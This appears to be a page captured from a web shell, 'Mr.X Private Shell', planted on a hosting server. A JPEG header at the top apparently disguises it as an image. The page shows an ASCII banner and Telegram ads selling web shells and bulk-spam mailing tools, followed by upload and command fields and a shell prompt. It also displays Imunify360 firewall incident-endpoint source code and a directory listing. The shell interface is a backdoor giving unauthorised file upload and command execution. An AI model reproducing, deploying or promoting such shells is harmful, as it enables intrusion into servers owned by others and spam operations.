����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
from defence360agent.model.simplification import remove_old_and_truncate
from defence360agent.rpc_tools import ValidationError, lookup
from defence360agent.rpc_tools.utils import run_in_executor_decorator
import defence360agent.subsys.panels.hosting_panel as hp
from defence360agent.utils import Scope
from im360.contracts import config
from im360.model.firewall import Purpose
from im360.model.incident import Incident


class IncidentsEndpoints(lookup.RootEndpoints):
    SCOPE = Scope.IM360

    @lookup.bind("get")
    async def get_incident_list(self, *args, **kwargs):
        if ("since" not in kwargs) and ("period" not in kwargs):
            raise ValidationError("Either since or period should be specified")
        period = kwargs.pop("period", None)
        if period is not None:
            kwargs["since"] = period.since
            kwargs["to"] = period.to
        severity = kwargs.pop("severity", None)
        if kwargs.get("by_purpose"):
            # backward compatibility
            kwargs["by_list"] = [
                Purpose.listname(item) for item in kwargs.pop("by_purpose")
            ]
        by_panel_user = kwargs.pop("by_panel_user", None)
        user_domains = None
        if by_panel_user is not None:
            user_domains = (
                await hp.HostingPanel().get_domains_per_user()
            ).get(by_panel_user, [])

        return Incident.get_sorted_incident_list(
            *args,
            severity=severity or config.IncidentLogging.MIN_LOG_LEVEL,
            by_domains=user_domains,
            **kwargs
        )

    @lookup.bind("clean")
    @run_in_executor_decorator
    def clean_incidents(self, days=None, limit=None):
        return remove_old_and_truncate(
            Incident,
            days or config.IncidentLogging.NUM_DAYS,
            limit or config.IncidentLogging.LIMIT,
        )

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
schema Folder 0755
schema_responses Folder 0755
__init__.py File 0 B 0644
configuration_management.py File 3.12 KB 0644
conflicts.py File 3.21 KB 0644
control_panel.py File 484 B 0644
countries.py File 5.72 KB 0644
csf_imports.py File 2.63 KB 0644
custom_lists.py File 642 B 0644
disabled_rules.py File 7.47 KB 0644
feature.py File 1.9 KB 0644
health.py File 343 B 0644
hosting_panel.py File 2.73 KB 0644
incidents.py File 1.83 KB 0644
kcarectl.py File 824 B 0644
lists.py File 30.66 KB 0644
malware.py File 385 B 0644
middleware.py File 1.32 KB 0644
proactive.py File 7.91 KB 0644
remote_proxy.py File 2.97 KB 0644
resident_socket.py File 1.59 KB 0644
schema.py File 1.05 KB 0644
smart_advice.py File 1.25 KB 0644
smtp_blocking.py File 1.72 KB 0644
unavailable_on_freemium.py File 354 B 0644
uninstall_cleanup.py File 2.42 KB 0644
validate.py File 9.19 KB 0644
whitelist_rbl.py File 409 B 0644
whitelisted_crawlers.py File 1.02 KB 0644
whitelisted_domains.py File 821 B 0644